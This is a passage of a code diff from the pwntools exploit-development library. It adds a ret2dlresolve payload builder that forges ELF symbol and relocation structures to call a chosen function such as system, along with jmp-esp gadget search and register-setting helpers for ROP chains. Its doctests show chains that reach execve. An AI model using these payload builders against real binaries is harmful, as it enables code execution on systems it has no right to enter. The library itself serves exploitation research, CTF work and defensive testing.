return p32(self.st_name) + \
|
||||
p8(self.st_info) + \
|
||||
p8(self.st_other) + \
|
||||
p16(self.st_shndx) + \
|
||||
p64(self.st_value) + \
|
||||
p64(self.st_size)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Queue(list):
|
||||
''
|
||||
def size(self):
|
||||
size = 0
|
||||
for v in self:
|
||||
# Lists, strings and ints all have size context.size
|
||||
# Assuming int size equals address size
|
||||
if isinstance(v, MarkedBytes):
|
||||
size += len(v)
|
||||
else:
|
||||
size += context.bytes
|
||||
return size
|
||||
|
||||
|
||||
class MarkedBytes(bytes):
|
||||
''
|
||||
pass
|
||||
|
||||
|
||||
class Ret2dlresolvePayload(object):
|
||||
"""Create a ret2dlresolve payload
|
||||
|
||||
Arguments:
|
||||
elf (ELF): Binary to search
|
||||
symbol (str): Function to search for
|
||||
args (list): List of arguments to pass to the function
|
||||
|
||||
Returns:
|
||||
A ``Ret2dlresolvePayload`` object which can be passed to ``rop.ret2dlresolve``
|
||||
"""
|
||||
def __init__(self, elf, symbol, args, data_addr=None):
|
||||
self.elf = elf
|
||||
self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
|
||||
self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
|
||||
self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
|
||||
self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
|
||||
self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
|
||||
self.symbol = context._encode(symbol)
|
||||
self.args = args
|
||||
self.real_args = self._format_args()
|
||||
self.unreliable = False
|
||||
|
||||
self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
|
||||
|
||||
# Will be set when built
|
||||
self.reloc_index = -1
|
||||
self.payload = b""
|
||||
|
||||
# PIE is untested, gcc forces FULL-RELRO when PIE is set
|
||||
if self.elf.pie and self.elf_load_address_fixup == 0:
|
||||
log.warning("WARNING: ELF is PIE but has no base address set")
|
||||
|
||||
self._build()
|
||||
|
||||
def _format_args(self):
|
||||
# Encode every string in args
|
||||
def aux(args):
|
||||
for i, arg in enumerate(args):
|
||||
if isinstance(arg, (str,bytes)):
|
||||
args[i] = context._encode(args[i]) + b"\x00"
|
||||
elif isinstance(arg, (list, tuple)):
|
||||
aux(arg)
|
||||
|
||||
args = deepcopy(self.args)
|
||||
aux(args)
|
||||
return args
|
||||
|
||||
def _get_recommended_address(self):
|
||||
bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
|
||||
bss_size = self.elf.get_section_by_name(".bss").header.sh_size
|
||||
addr = bss + bss_size
|
||||
addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
|
||||
return addr
|
||||
|
||||
def _build_structures(self):
|
||||
# The first part of the payload is the usual of ret2dlresolve.
|
||||
if context.bits == 32:
|
||||
ElfSym = Elf32_Sym
|
||||
ElfRel = Elf32_Rel
|
||||
ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
|
||||
elif context.bits == 64:
|
||||
ElfSym = Elf64_Sym
|
||||
ElfRel = Elf64_Rel
|
||||
ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
|
||||
else:
|
||||
log.error("Unsupported bits")
|
||||
|
||||
# where the address of the symbol will be saved
|
||||
# (ElfRel.r_offset points here)
|
||||
symbol_space = b"A"*context.bytes
|
||||
|
||||
# Symbol name. Ej: system
|
||||
symbol_name_addr = self.data_addr + len(self.payload)
|
||||
symbol_name = self.symbol + b"\x00"
|
||||
symbol_end_addr = symbol_name_addr + len(symbol_name)
|
||||
|
||||
# ElfSym
|
||||
index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
|
||||
sym_addr = self.symtab + ElfSym.size * index
|
||||
sym = ElfSym(st_name=symbol_name_addr - self.strtab)
|
||||
sym_end_addr = sym_addr + sym.size
|
||||
|
||||
# It seems to be treated as an index in 64b and
|
||||
# as an offset in 32b. That's why Elf32_Rel.size = 1
|
||||
self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
|
||||
|
||||
# ElfRel
|
||||
rel_addr = self.jmprel + self.reloc_index * ElfRel.size
|
||||
rel_type = 7
|
||||
rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
|
||||
|
||||
self.payload = fit({
|
||||
symbol_name_addr - self.data_addr: symbol_name,
|
||||
sym_addr - self.data_addr: sym,
|
||||
rel_addr - self.data_addr: rel
|
||||
})
|
||||
|
||||
ver_addr = self.versym + 2 * index # Elf_HalfWord
|
||||
|
||||
log.debug("Symtab: %s", hex(self.symtab))
|
||||
log.debug("Strtab: %s", hex(self.strtab))
|
||||
log.debug("Versym: %s", hex(self.versym))
|
||||
log.debug("Jmprel: %s", hex(self.jmprel))
|
||||
log.debug("ElfSym addr: %s", hex(sym_addr))
|
||||
log.debug("ElfRel addr: %s", hex(rel_addr))
|
||||
log.debug("Symbol name addr: %s", hex(symbol_name_addr))
|
||||
log.debug("Version index addr: %s", hex(ver_addr))
|
||||
log.debug("Data addr: %s", hex(self.data_addr))
|
||||
if not self.elf.memory[ver_addr]:
|
||||
log.warn("Ret2dlresolve is likely impossible in this ELF "
|
||||
"(too big gap between text and writable sections).\n"
|
||||
"If you get a segmentation fault with fault_addr = %#x, "
|
||||
"try a different technique.", ver_addr)
|
||||
self.unreliable = True
|
||||
|
||||
def _build_args(self):
|
||||
# The second part of the payload will include strings and pointers needed for ROP.
|
||||
queue = Queue()
|
||||
|
||||
# We first have to process the arguments: replace lists and strings with
|
||||
# pointers to the payload. Add lists contents and marked strings to the queue
|
||||
# to be processed later.
|
||||
for i, arg in enumerate(self.real_args):
|
||||
if isinstance(arg, (list, tuple)):
|
||||
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
|
||||
queue.extend(arg)
|
||||
elif isinstance(arg, bytes):
|
||||
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
|
||||
queue.append(MarkedBytes(arg))
|
||||
|
||||
# Now we process the generated queue, which contains elements that will be in
|
||||
# the payload. We replace lists and strings with pointers, add lists elements
|
||||
# to the queue, and mark strings so next time they are processed they are
|
||||
# added and not replaced again.
|
||||
while len(queue) > 0:
|
||||
top = queue[0]
|
||||
if isinstance(top, (list, tuple)):
|
||||
top = pack(self.data_addr + len(self.payload) + queue.size())
|
||||
queue.extend(queue[0])
|
||||
elif isinstance(top, MarkedBytes):
|
||||
# Just add them
|
||||
pass
|
||||
elif isinstance(top, bytes):
|
||||
top = pack(self.data_addr + len(self.payload) + queue.size())
|
||||
queue.append(MarkedBytes(queue[0]))
|
||||
elif isinstance(top, six.integer_types):
|
||||
top = pack(top)
|
||||
|
||||
self.payload += top
|
||||
queue.pop(0)
|
||||
|
||||
def _build(self):
|
||||
self._build_structures()
|
||||
self._build_args()
|
||||
+206
-38
@@ -88,6 +88,36 @@ You can also append complex arguments onto stack when the stack pointer is known
|
||||
0x7fffe038: b'-c\x00$'
|
||||
0x7fffe03c: b'ls\x00$'
|
||||
|
||||
ROP also detects 'jmp $sp' gadget to help exploit binaries with NX disabled.
|
||||
You can get this gadget on 'i386':
|
||||
|
||||
>>> context.clear(arch='i386')
|
||||
>>> elf = ELF.from_assembly('nop; jmp esp; ret')
|
||||
>>> rop = ROP(elf)
|
||||
>>> jmp_gadget = rop.jmp_esp
|
||||
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
|
||||
True
|
||||
|
||||
You can also get this gadget on 'amd64':
|
||||
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> elf = ELF.from_assembly('nop; jmp rsp; ret')
|
||||
>>> rop = ROP(elf)
|
||||
>>> jmp_gadget = rop.jmp_rsp
|
||||
>>> elf.read(jmp_gadget.address, 2) == asm('jmp rsp')
|
||||
True
|
||||
|
||||
Gadgets whose address has badchar are filtered out:
|
||||
|
||||
>>> context.clear(arch='i386')
|
||||
>>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp; ret')
|
||||
>>> rop = ROP(elf, badchars=b'\x02')
|
||||
>>> jmp_gadget = rop.jmp_esp # It returns the second gadget
|
||||
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
|
||||
True
|
||||
>>> rop = ROP(elf, badchars=b'\x02\x06')
|
||||
>>> rop.jmp_esp == None # The address of both gadgets has badchar
|
||||
True
|
||||
|
||||
ROP Example
|
||||
-------------------
|
||||
@@ -237,7 +267,7 @@ That's all there is to it.
|
||||
>>> print(rop.dump())
|
||||
0x0000: 0x1000000e pop eax; ret
|
||||
0x0004: 0x77 [arg0] eax = SYS_sigreturn
|
||||
0x0008: 0x1000000b int 0x80
|
||||
0x0008: 0x1000000b int 0x80; ret
|
||||
0x000c: 0x0 gs
|
||||
0x0010: 0x0 fs
|
||||
0x0014: 0x0 es
|
||||
@@ -252,7 +282,7 @@ That's all there is to it.
|
||||
0x0038: 0xb eax = SYS_execve
|
||||
0x003c: 0x0 trapno
|
||||
0x0040: 0x0 err
|
||||
0x0044: 0x1000000b int 0x80
|
||||
0x0044: 0x1000000b int 0x80; ret
|
||||
0x0048: 0x23 cs
|
||||
0x004c: 0x0 eflags
|
||||
0x0050: 0x0 esp_at_signal
|
||||
@@ -290,6 +320,7 @@ from pwnlib.context import context
|
||||
from pwnlib.elf import ELF
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.rop import srop
|
||||
from . import ret2dlresolve
|
||||
from pwnlib.rop.call import AppendedArgument
|
||||
from pwnlib.rop.call import Call
|
||||
from pwnlib.rop.call import CurrentStackPointer
|
||||
@@ -301,10 +332,18 @@ from pwnlib.util import lists
|
||||
from pwnlib.util import packing
|
||||
from pwnlib.util.cyclic import cyclic
|
||||
from pwnlib.util.packing import pack
|
||||
from pwnlib.util.misc import python_2_bytes_compatible
|
||||
|
||||
log = getLogger(__name__)
|
||||
__all__ = ['ROP']
|
||||
|
||||
enums = Call, constants.Constant
|
||||
try:
|
||||
from enum import Enum
|
||||
except ImportError:
|
||||
pass
|
||||
else:
|
||||
enums += Enum,
|
||||
|
||||
class Padding(object):
|
||||
"""
|
||||
@@ -332,7 +371,7 @@ class DescriptiveStack(list):
|
||||
descriptions = {}
|
||||
|
||||
def __init__(self, address):
|
||||
self.descriptions = collections.defaultdict(lambda: [])
|
||||
self.descriptions = collections.defaultdict(list)
|
||||
self.address = address or 0
|
||||
self._next_next = 0
|
||||
self._next_last = 0
|
||||
@@ -374,6 +413,7 @@ class DescriptiveStack(list):
|
||||
return '\n'.join(rv)
|
||||
|
||||
|
||||
@python_2_bytes_compatible
|
||||
class ROP(object):
|
||||
r"""Class which simplifies the generation of ROP-chains.
|
||||
|
||||
@@ -412,7 +452,7 @@ class ROP(object):
|
||||
0x0020: 0x3 arg0
|
||||
0x0024: 0x10000007 pop eax; ret
|
||||
0x0028: 0x77 [arg0] eax = SYS_sigreturn
|
||||
0x002c: 0x10000000 int 0x80
|
||||
0x002c: 0x10000000 int 0x80; ret
|
||||
0x0030: 0x0 gs
|
||||
0x0034: 0x0 fs
|
||||
0x0038: 0x0 es
|
||||
@@ -427,7 +467,7 @@ class ROP(object):
|
||||
0x005c: 0xb eax = SYS_execve
|
||||
0x0060: 0x0 trapno
|
||||
0x0064: 0x0 err
|
||||
0x0068: 0x10000000 int 0x80
|
||||
0x0068: 0x10000000 int 0x80; ret
|
||||
0x006c: 0x23 cs
|
||||
0x0070: 0x0 eflags
|
||||
0x0074: 0x0 esp_at_signal
|
||||
@@ -450,7 +490,7 @@ class ROP(object):
|
||||
0x8048020: 0x3 arg0
|
||||
0x8048024: 0x10000007 pop eax; ret
|
||||
0x8048028: 0x77 [arg0] eax = SYS_sigreturn
|
||||
0x804802c: 0x10000000 int 0x80
|
||||
0x804802c: 0x10000000 int 0x80; ret
|
||||
0x8048030: 0x0 gs
|
||||
0x8048034: 0x0 fs
|
||||
0x8048038: 0x0 es
|
||||
@@ -465,7 +505,7 @@ class ROP(object):
|
||||
0x804805c: 0xb eax = SYS_execve
|
||||
0x8048060: 0x0 trapno
|
||||
0x8048064: 0x0 err
|
||||
0x8048068: 0x10000000 int 0x80
|
||||
0x8048068: 0x10000000 int 0x80; ret
|
||||
0x804806c: 0x23 cs
|
||||
0x8048070: 0x0 eflags
|
||||
0x8048074: 0x0 esp_at_signal
|
||||
@@ -483,6 +523,14 @@ class ROP(object):
|
||||
>>> r.ret is None
|
||||
True
|
||||
"""
|
||||
BAD_ATTRS = [
|
||||
'trait_names', # ipython tab-complete
|
||||
'download', # frequent typo
|
||||
'upload', # frequent typo
|
||||
]
|
||||
X86_SUFFIXES = ['ax', 'bx', 'cx', 'dx', 'bp', 'sp', 'di', 'si',
|
||||
'r8', 'r9', '10', '11', '12', '13', '14', '15']
|
||||
|
||||
def __init__(self, elfs, base = None, badchars = b'', **kwargs):
|
||||
"""
|
||||
Arguments:
|
||||
@@ -621,6 +669,43 @@ class ROP(object):
|
||||
|
||||
return stack
|
||||
|
||||
def __call__(self, *args, **kwargs):
|
||||
"""Set the given register(s)' by constructing a rop chain.
|
||||
|
||||
This is a thin wrapper around :meth:`setRegisters` which
|
||||
actually executes the rop chain.
|
||||
|
||||
You can call this :class:`ROP` instance and provide keyword arguments,
|
||||
or a dictionary.
|
||||
|
||||
Arguments:
|
||||
regs(dict): Mapping of registers to values.
|
||||
Can instead provide ``kwargs``.
|
||||
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
|
||||
>>> e = ELF.from_assembly(assembly)
|
||||
>>> r = ROP(e)
|
||||
>>> r(rax=0xdead, rdi=0xbeef, rsi=0xcafe)
|
||||
>>> print(r.dump())
|
||||
0x0000: 0x10000000
|
||||
0x0008: 0xdead
|
||||
0x0010: 0xbeef
|
||||
0x0018: 0xcafe
|
||||
>>> r = ROP(e)
|
||||
>>> r({'rax': 0xdead, 'rdi': 0xbeef, 'rsi': 0xcafe})
|
||||
>>> print(r.dump())
|
||||
0x0000: 0x10000000
|
||||
0x0008: 0xdead
|
||||
0x0010: 0xbeef
|
||||
0x0018: 0xcafe
|
||||
"""
|
||||
if len(args) == 1 and isinstance(args[0], dict):
|
||||
for value, _ in self.setRegisters(args[0]):
|
||||
self.raw(value)
|
||||
else:
|
||||
self(kwargs)
|
||||
|
||||
def resolve(self, resolvable):
|
||||
"""Resolves a symbol to an address
|
||||
|
||||
@@ -663,6 +748,7 @@ class ROP(object):
|
||||
"""
|
||||
Generates padding to be inserted into the ROP stack.
|
||||
|
||||
>>> context.clear(arch='i386')
|
||||
>>> rop = ROP([])
|
||||
>>> val = rop.generatePadding(5,15)
|
||||
>>> cyclic_find(val[:4])
|
||||
@@ -685,7 +771,7 @@ class ROP(object):
|
||||
"""
|
||||
Return a description for an object in the ROP stack
|
||||
"""
|
||||
if isinstance(object, (Call, constants.Constant)):
|
||||
if isinstance(object, enums):
|
||||
return str(object)
|
||||
if isinstance(object, six.integer_types):
|
||||
return self.unresolve(object)
|
||||
@@ -743,7 +829,6 @@ class ROP(object):
|
||||
stack.describe(self.describe(slot))
|
||||
if not isinstance(slot, bytes):
|
||||
slot = slot.encode()
|
||||
slot += self.generatePadding(stack.next, len(slot) % context.bytes)
|
||||
|
||||
for chunk in lists.group(context.bytes, slot):
|
||||
stack.append(chunk)
|
||||
@@ -767,7 +852,7 @@ class ROP(object):
|
||||
elif isinstance(slot, Call):
|
||||
stack.describe(self.describe(slot))
|
||||
|
||||
registers = dict(zip(slot.abi.register_arguments, slot.args))
|
||||
registers = slot.register_arguments
|
||||
|
||||
for value, name in self.setRegisters(registers):
|
||||
if name in registers:
|
||||
@@ -786,7 +871,10 @@ class ROP(object):
|
||||
stack.append(slot.target)
|
||||
|
||||
# For any remaining arguments, put them on the stack
|
||||
stackArguments = slot.args[len(slot.abi.register_arguments):]
|
||||
stackArguments = slot.stack_arguments
|
||||
for argument in slot.stack_arguments_before:
|
||||
stack.describe("[dlresolve index]")
|
||||
stack.append(argument)
|
||||
nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))
|
||||
|
||||
# Generally, stack-based arguments assume there's a return
|
||||
@@ -883,17 +971,28 @@ class ROP(object):
|
||||
def find_stack_adjustment(self, slots):
|
||||
self.search(move=slots * context.bytes)
|
||||
|
||||
def chain(self):
|
||||
def chain(self, base=None):
|
||||
"""Build the ROP chain
|
||||
|
||||
Arguments:
|
||||
base(int):
|
||||
The base address to build the rop-chain from. Defaults to
|
||||
:attr:`base`.
|
||||
|
||||
Returns:
|
||||
str containing raw ROP bytes
|
||||
"""
|
||||
return packing.flat(self.build())
|
||||
return packing.flat(self.build(base=base))
|
||||
|
||||
def dump(self):
|
||||
"""Dump the ROP chain in an easy-to-read manner"""
|
||||
return self.build().dump()
|
||||
def dump(self, base=None):
|
||||
"""Dump the ROP chain in an easy-to-read manner
|
||||
|
||||
Arguments:
|
||||
base(int):
|
||||
The base address to build the rop-chain from. Defaults to
|
||||
:attr:`base`.
|
||||
"""
|
||||
return self.build(base=base).dump()
|
||||
|
||||
def regs(self, registers=None, **kw):
|
||||
if registers is None:
|
||||
@@ -1008,6 +1107,7 @@ class ROP(object):
|
||||
Arguments:
|
||||
data(int/str): The raw value to put onto the rop chain.
|
||||
|
||||
>>> context.clear(arch='i386')
|
||||
>>> rop = ROP([])
|
||||
>>> rop.raw('AAAAAAAA')
|
||||
>>> rop.raw('BBBBBBBB')
|
||||
@@ -1027,7 +1127,7 @@ class ROP(object):
|
||||
def migrate(self, next_base):
|
||||
"""Explicitly set $sp, by using a ``leave; ret`` gadget"""
|
||||
if isinstance(next_base, ROP):
|
||||
next_base = self.base
|
||||
next_base = next_base.base
|
||||
pop_sp = self.rsp or self.esp
|
||||
pop_bp = self.rbp or self.ebp
|
||||
leave = self.leave
|
||||
@@ -1046,12 +1146,9 @@ class ROP(object):
|
||||
"""Returns: Raw bytes of the ROP chain"""
|
||||
return self.chain()
|
||||
|
||||
def __str__(self):
|
||||
return str(self.chain())
|
||||
|
||||
def __get_cachefile_name(self, files):
|
||||
"""Given an ELF or list of ELF objects, return a cache file for the set of files"""
|
||||
cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache-%d.%d' % sys.version_info[:2])
|
||||
cachedir = os.path.join(context.cache_dir, 'rop-cache')
|
||||
if not os.path.exists(cachedir):
|
||||
os.mkdir(cachedir)
|
||||
|
||||
@@ -1067,7 +1164,7 @@ class ROP(object):
|
||||
@staticmethod
|
||||
def clear_cache():
|
||||
"""Clears the ROP gadget cache"""
|
||||
cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache')
|
||||
cachedir = os.path.join(context.cache_dir, 'rop-cache')
|
||||
shutil.rmtree(cachedir)
|
||||
|
||||
def __cache_load(self, elf):
|
||||
@@ -1090,7 +1187,7 @@ class ROP(object):
|
||||
#
|
||||
# - leave
|
||||
# - pop reg
|
||||
# - add $sp, value
|
||||
# - add $sp, <hexadecimal value>
|
||||
# - ret
|
||||
#
|
||||
# Currently, ROPgadget does not detect multi-byte "C2" ret.
|
||||
@@ -1098,7 +1195,7 @@ class ROP(object):
|
||||
#
|
||||
|
||||
pop = re.compile(r'^pop (.{3})')
|
||||
add = re.compile(r'^add [er]sp, (\S+)$')
|
||||
add = re.compile(r'^add [er]sp, ((?:0[xX])?[0-9a-fA-F]+)$')
|
||||
ret = re.compile(r'^ret$')
|
||||
leave = re.compile(r'^leave$')
|
||||
int80 = re.compile(r'int +0x80')
|
||||
@@ -1114,6 +1211,8 @@ class ROP(object):
|
||||
# False
|
||||
# >>> valid('add esp, 0x24')
|
||||
# True
|
||||
# >>> valid('add esp, esi')
|
||||
# False
|
||||
#
|
||||
valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))
|
||||
|
||||
@@ -1146,7 +1245,7 @@ class ROP(object):
|
||||
try:
|
||||
sys.stdout = Wrapper(sys.stdout)
|
||||
import ropgadget
|
||||
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop']
|
||||
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop', '--multibr']
|
||||
args = ropgadget.args.Args().getArgs()
|
||||
core = ropgadget.core.Core(args)
|
||||
core.do_binary(elf.path)
|
||||
@@ -1280,12 +1379,27 @@ class ROP(object):
|
||||
|
||||
return result
|
||||
|
||||
def ret2dlresolve(self, dlresolve):
|
||||
elf = next(elf for elf in self.elfs if elf.get_section_by_name(".plt"))
|
||||
elf_base = elf.address if elf.pie else 0
|
||||
plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base
|
||||
log.debug("PLT_INIT: %#x", plt_init)
|
||||
|
||||
reloc_index = dlresolve.reloc_index
|
||||
real_args = dlresolve.real_args
|
||||
call = Call("[plt_init] " + dlresolve.symbol.decode(),
|
||||
plt_init,
|
||||
dlresolve.real_args,
|
||||
before=[reloc_index])
|
||||
self.raw(call)
|
||||
|
||||
def __getattr__(self, attr):
|
||||
"""Helper to make finding ROP gadets easier.
|
||||
"""Helper to make finding ROP gadgets easier.
|
||||
|
||||
Also provides a shorthand for ``.call()``:
|
||||
``rop.function(args)`` is equivalent to ``rop.call(function, args)``
|
||||
|
||||
>>> context.clear(arch='i386')
|
||||
>>> elf=ELF(which('bash'))
|
||||
>>> rop=ROP([elf])
|
||||
>>> rop.rdi == rop.search(regs=['rdi'], order = 'regs')
|
||||
@@ -1294,18 +1408,17 @@ class ROP(object):
|
||||
True
|
||||
>>> rop.ret_8 == rop.search(move=8)
|
||||
True
|
||||
>>> rop.ret != None
|
||||
>>> rop.ret is not None
|
||||
True
|
||||
>>> with context.local(arch='amd64', bits='64'):
|
||||
... r = ROP(ELF.from_assembly('syscall; ret'))
|
||||
>>> r.syscall is not None
|
||||
True
|
||||
"""
|
||||
gadget = collections.namedtuple('gadget', ['address', 'details'])
|
||||
bad_attrs = [
|
||||
'trait_names', # ipython tab-complete
|
||||
'download', # frequent typo
|
||||
'upload', # frequent typo
|
||||
]
|
||||
|
||||
if attr in self.__dict__ \
|
||||
or attr in bad_attrs \
|
||||
or attr in self.BAD_ATTRS \
|
||||
or attr.startswith('_'):
|
||||
raise AttributeError('ROP instance has no attribute %r' % attr)
|
||||
|
||||
@@ -1318,22 +1431,38 @@ class ROP(object):
|
||||
count = int(attr.split('_')[1])
|
||||
return self.search(move=count)
|
||||
|
||||
#
|
||||
# Check for 'jmp_esp'('i386') or 'jmp_rsp'('amd64')
|
||||
#
|
||||
if attr == 'jmp_esp' and context.arch == 'i386' \
|
||||
or attr == 'jmp_rsp' and context.arch == 'amd64':
|
||||
jmp_sp = {'i386': 'jmp esp',
|
||||
'amd64': 'jmp rsp'
|
||||
}[context.arch]
|
||||
|
||||
insn_asm = b'\xff\xe4'
|
||||
|
||||
for elf in self.elfs:
|
||||
for addr in elf.search(insn_asm, executable = True):
|
||||
if set(pack(addr)) & self._badchars:
|
||||
continue
|
||||
|
||||
return Gadget(addr, [jmp_sp], [], context.bytes)
|
||||
return None
|
||||
|
||||
if attr in ('int80', 'syscall', 'sysenter'):
|
||||
mapping = {'int80': 'int 0x80',
|
||||
'syscall': 'syscall',
|
||||
'sysenter': 'sysenter'}
|
||||
for each in self.gadgets:
|
||||
if self.gadgets[each]['insns'] == [mapping[attr]]:
|
||||
if self.gadgets[each]['insns'][0] == mapping[attr]:
|
||||
return gadget(each, self.gadgets[each])
|
||||
return None
|
||||
|
||||
#
|
||||
# Check for a '_'-delimited list of registers
|
||||
#
|
||||
x86_suffixes = ['ax', 'bx', 'cx', 'dx', 'bp', 'sp', 'di', 'si',
|
||||
'r8', 'r9', '10', '11', '12', '13', '14', '15']
|
||||
|
||||
if all(map(lambda x: x[-2:] in x86_suffixes, attr.split('_'))):
|
||||
if all(map(lambda x: x[-2:] in self.X86_SUFFIXES, attr.split('_'))):
|
||||
return self.search(regs=attr.split('_'), order='regs')
|
||||
|
||||
#
|
||||
@@ -1343,3 +1472,42 @@ class ROP(object):
|
||||
return self.call(attr, args)
|
||||
|
||||
return call
|
||||
|
||||
def __setattr__(self, attr, value):
|
||||
"""Helper for setting registers.
|
||||
|
||||
This convenience feature allows one to set the values of registers
|
||||
with simple python assignment syntax.
|
||||
|
||||
Warning:
|
||||
Only one register is set at a time (one per rop chain).
|
||||
This may lead to some previously set to registers be overwritten!
|
||||
|
||||
Note:
|
||||
If you would like to set multiple registers in as few rop chains
|
||||
as possible, see :meth:`__call__`.
|
||||
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
|
||||
>>> e = ELF.from_assembly(assembly)
|
||||
>>> r = ROP(e)
|
||||
>>> r.rax = 0xdead
|
||||
>>> r.rdi = 0xbeef
|
||||
>>> r.rsi = 0xcafe
|
||||
>>> print(r.dump())
|
||||
0x0000: 0x10000004 pop rax; ret
|
||||
0x0008: 0xdead
|
||||
0x0010: 0x10000001 pop rdi; pop rsi; ret
|
||||
0x0018: 0xbeef
|
||||
0x0020: b'iaaajaaa' <pad rsi>
|
||||
0x0028: 0x10000002 pop rsi; ret
|
||||
0x0030: 0xcafe
|
||||
"""
|
||||
if attr in self.BAD_ATTRS:
|
||||
raise AttributeError('ROP instance has no attribute %r' % attr)
|
||||
|
||||
if attr[-2:] in self.X86_SUFFIXES: # handle setting registers
|
||||
self({attr: value})
|
||||
|
||||
# Otherwise, perform usual setting
|
||||
self.__dict__[attr] = value
|
||||
+2
-2
@@ -240,8 +240,8 @@ stack_pointers = {
|
||||
# # XXX Need to add support for Capstone in order to extract ARM and MIPS
|
||||
# XXX as the SVC code may vary.
|
||||
syscall_instructions = {
|
||||
'amd64': ['int 0x80', 'syscall', 'sysenter'],
|
||||
'i386': ['int 0x80', 'syscall', 'sysenter'],
|
||||
'amd64': ['syscall'],
|
||||
'i386': ['int 0x80'],
|
||||
'arm': ['svc 0'],
|
||||
'aarch64': ['svc 0'],
|
||||
'thumb': ['svc 0'],
|
||||
|
||||
Loaded 100 of 592 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user